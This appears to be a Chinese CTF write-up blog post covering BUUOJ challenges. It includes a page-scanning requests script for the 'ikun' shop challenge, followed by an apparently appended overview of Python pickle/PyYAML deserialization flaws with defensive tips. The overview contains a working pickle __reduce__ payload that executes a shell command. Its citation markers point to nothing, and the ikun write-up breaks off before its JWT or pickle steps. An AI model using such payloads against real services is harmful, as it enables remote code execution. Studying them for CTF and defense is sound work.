一天一道ctf 第41天(JWT python序列化pickle)

CTF题解:JWT与Python pickle应用

[BSidesCF 2019]Futurella
一开始看题目觉得还挺有意思的,结果查看源代码就能得到flag???这真是我做过最简单的题目了。
在这里插入图片描述
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[CISCN2019 华北赛区 Day1 Web2]ikun
作者也是老阴阳人了,紧跟时事,
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目标是要买到lv6,但是连续看几页都没有lv6,那就写一个脚本搜索一下,在第181页找到lv6,但是买不起啊。

import requests
url="http://dea21ab8-0a31-4781-8f0b-7d5285a017c0.node4.buuoj.cn/shop?page="
for i in range(0,2000):

    r=requests.get(url+str(i))
    if 'lv6.' in r.text:
       print (i)
       break

### CTFPython序列化漏洞利用与安全挑战 在CTF竞赛中,Python序列化漏洞是一个常见的攻击面。这类漏洞通常涉及`PyYAML`和`pickle`模块,这些库允许开发者轻松地将复杂的Python对象保存到磁盘并稍后恢复它们的状态[^1]。 #### PyYAML 和 pickle 的工作原理 当应用程序使用不安全的方式加载不受信任的数据源时,就可能发生反序列化漏洞。例如,在处理来自用户的输入或网络请求的内容时未能充分验证数据的安全性。对于`PyYAML`而言,默认情况下它会尝试解析所有可能的对象结构,包括那些可能导致执行任意代码的特殊标记。 #### 构建恶意负载 为了构建一个有效的攻击载荷,参赛者可以从已知的例子出发,并对其进行调整以适应特定的目标环境。通过搜索引擎找到类似的案例研究可以帮助理解如何创建这样的载荷。一旦掌握了基本模式,就可以针对具体的应用场景定制自己的exploit脚本[^2]。 ```python import pickle import subprocess class Exploit(object): def __reduce__(self): return (subprocess.Popen, (['/bin/sh', '-c', 'whoami'],)) malicious_data = pickle.dumps(Exploit()) print(malicious_data) ``` 这段代码展示了怎样定义一个类使得其能够在被`__reduce__()`方法调用时触发shell命令执行。此示例仅用于教育目的;实际比赛中应遵循合法渠道获取权限后再测试此类功能。 #### 寻找易受攻击的位置 要成功完成这一类型的题目,除了掌握技术细节外还需要具备良好的调试技能以及对目标系统的深入了解。可以通过静态分析工具扫描项目源码寻找潜在的风险点,比如查找是否存在未经严格校验即传入外部可控参数给`yaml.load()`函数的情况。此外,动态跟踪程序行为也是定位问题的有效手段之一[^3]。 #### 防御措施建议 为了避免成为受害者,开发人员应当始终采用官方推荐的最佳实践: - 使用更严格的加载器替代默认选项,如`yaml.safe_load()` - 对于任何形式的用户提交内容都要实施全面的身份验证机制 - 尽量减少对外部不可信资源的信任程度,必要时应用白名单策略限制可接受的操作范围
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